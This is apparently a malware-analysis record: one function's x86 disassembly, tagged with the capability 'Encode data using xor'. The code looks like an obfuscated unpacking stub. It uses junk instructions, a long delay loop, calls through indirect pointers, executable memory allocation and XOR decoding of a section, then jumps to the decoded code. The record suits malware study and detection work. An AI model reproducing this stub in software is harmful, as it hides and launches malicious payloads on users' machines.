Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x86257761
sub edi, 0x165040fe
add esi, 0xc91cd0fc
add esi, 0xaa4e3c63
popal
mov edi, esi
not edi
add esi, edi
mov eax, 0
mov ebx, edx
mov esi, edi
sub edi, esi
not esi
mov ecx, ebx
sub esi, edi
add edi, esi
mov edi, esi
mov edx, ecx
sub edi, esi
inc edi
and edi, esi
inc eax
add esi, 0x224e6537
and esi, esi
dec esi
cmp eax, 0x100617e
jne 0xa789d0
not edi
sub edi, 0x760c5cf1
mov edi, 0x867a4386
mov edi, 0x1d738aa3
mov edx, 0xa78796
mov edi, esi
mov esi, 0xcb404395
or ebx, ebx
mov eax, 0xa7898a
dec esi
dec esi
add ebx, edi
mov ecx, dword [edx]
sub ebx, esi
mov esi, 0xef45c557
add ebx, ebx
and ecx, 0xff
mov edi, esi
add edi, 0xbad6be6a
xor dword [eax], ecx
sub edi, 0xdfff1aae
sub ebx, esi
inc ebx
inc eax
not esi
and esi, esi
inc edx
sub ebx, 0x3bf236de
sub edi, 0x9dcd4139
cmp eax, entry0
jl 0xa78a26
mov edi, 0x54b95ab0
sub esi, ebx
inc ebx
sub ebx, 0xb87e80d0
dec edi
add ebx, 0xc3ccbfd3
mov ecx, 0xa7898e
sub ebx, 0x1ea8ce3d
not esi
and esi, esi
mov ecx, dword [ecx]
sub esi, 0x9f4bebf2
add ebx, ebx
mov ecx, dword [ecx]
mov edi, 0x47426710
sub edx, 0x4353b02c
add esi, 0x3855d533
push ecx
add edi, 0x1484981d
add ebx, 0x1bf305f6
mov ecx, 0xa7898a
add ebx, 1
mov edx, esi
mov ecx, dword [ecx]
sub edi, 0xf4049e05
dec ebx
sub esi, 0x1f2b645d
mov ecx, dword [ecx]
not edx
add edx, 0xe938727b
push 0xa78992
sub ebx, 0x4004f0e5
or ebx, ebx
call ecx
add edi, 0x44813ae5
add edi, edi
and edx, edx
pop ecx
sub edi, 0x25d4f07b
inc edi
push 0xa7899f
inc ebx
sub esi, 0x555dda5f
inc ebx
push eax
and edx, edx
or esi, ebx
call ecx
mov edi, edx
mov edx, 0x3cc22824
push 0x40
sub edi, esi
sub edx, 0xeec36c80
push 0x3000
mov esi, 0x84005039
or edi, edx
mov ebx, edx
push 0x2000031a
inc ebx
mov edx, 0x6e5b11e6
sub esi, 0xebfa460c
push 0
sub edx, 0x4e386a29
add esi, 0x7c389ff6
call eax
add ebx, 0xfb0a1959
and esi, ebx
add eax, 0x20000258
add edx, edx
add esi, edi
sub edx, esi
mov ecx, 0x8a83d75
add ebx, edx
add edi, edx
inc edx
mov dword [eax], ecx
not edx
add edx, edi
mov ecx, dword [eax]
or edx, edx
add edi, esi
add esi, 0xecfb19a0
cmp ecx, 0x8a83d75
je 0xa78b96
mov edx, 0
mov byte [edx], al
sub edx, 0x2708651e
inc esi
or edx, edx
or edi, esi
and ebx, edi
sub edi, esi
or edi, esi
mov edx, section..reloc
add edi, 0xf7f6bc87
mov edi, 0x95224076
mov ecx, 0xa78795
mov edi, esi
mov edi, 0x6f1c9eb6
mov eax, 0
and edi, edi
not edi
mov esi, edi
mov ebx, 0xa78796
sub edi, esi
add esi, edi
inc edi
lea ebx, [eax + ebx]
add esi, 1
add esi, 1
mov ebx, dword [ebx]
add esi, 1
sub edi, 1
not esi
and ebx, 0xff
mov edi, 0xb98b674e
not edi
add edi, 1
inc eax
mov edi, 0x420fa59a
or esi, edi
or edi, edi
cmp eax, 0x1f4
jne 0xa78c21
mov eax, 0
and edi, edi
or edi, esi
add edi, 0x92dab48a
dec edi
dec edi
xor dword [edx], ebx
or esi, esi
dec edi
sub esi, 0x7b9c797f
add edx, 2
add esi, 0xde2e03f2
sub edi, esi
mov edi, esi
cmp edx, ecx
jl 0xa78bce
mov esi, 0x31a3aaba
mov esi, edi
sub edi, 1
sub esi, 0x24e60561
add esi, edi
mov edi, section..reloc
not ebx
add eax, ebx
inc eax
mov ecx, section..reloc
not ebx
or eax, ebx
sub ebx, 0x507cfe3e
mov esi, 0xa78795
sub eax, 1
mov ebx, eax
mov edx, 0
sub ebx, eax
sub eax, ebx
sub eax, ebx
mov dl, byte [ecx]
mov ebx, eax
sub ebx, 0x18e2cf77
mov ebx, 0xc16f56dd
mov byte [edi], dl
add eax, eax
sub ebx, 0x4632e00e
not eax
add edi, 1
sub ebx, 0xec8dea6b
add eax, 0x7fbfaf4c
add ebx, 0x5463d233
add ecx, 2
add ebx, ebx
sub eax, 0x424c98f8
cmp ecx, esi
jle 0xa78c96
and ebx, eax
sub ebx, 0xcdef3c98
mov esi, edi
inc esi
mov edi, esi
push 0x8dc6a0
add esi, 1
sub edi, esi
ret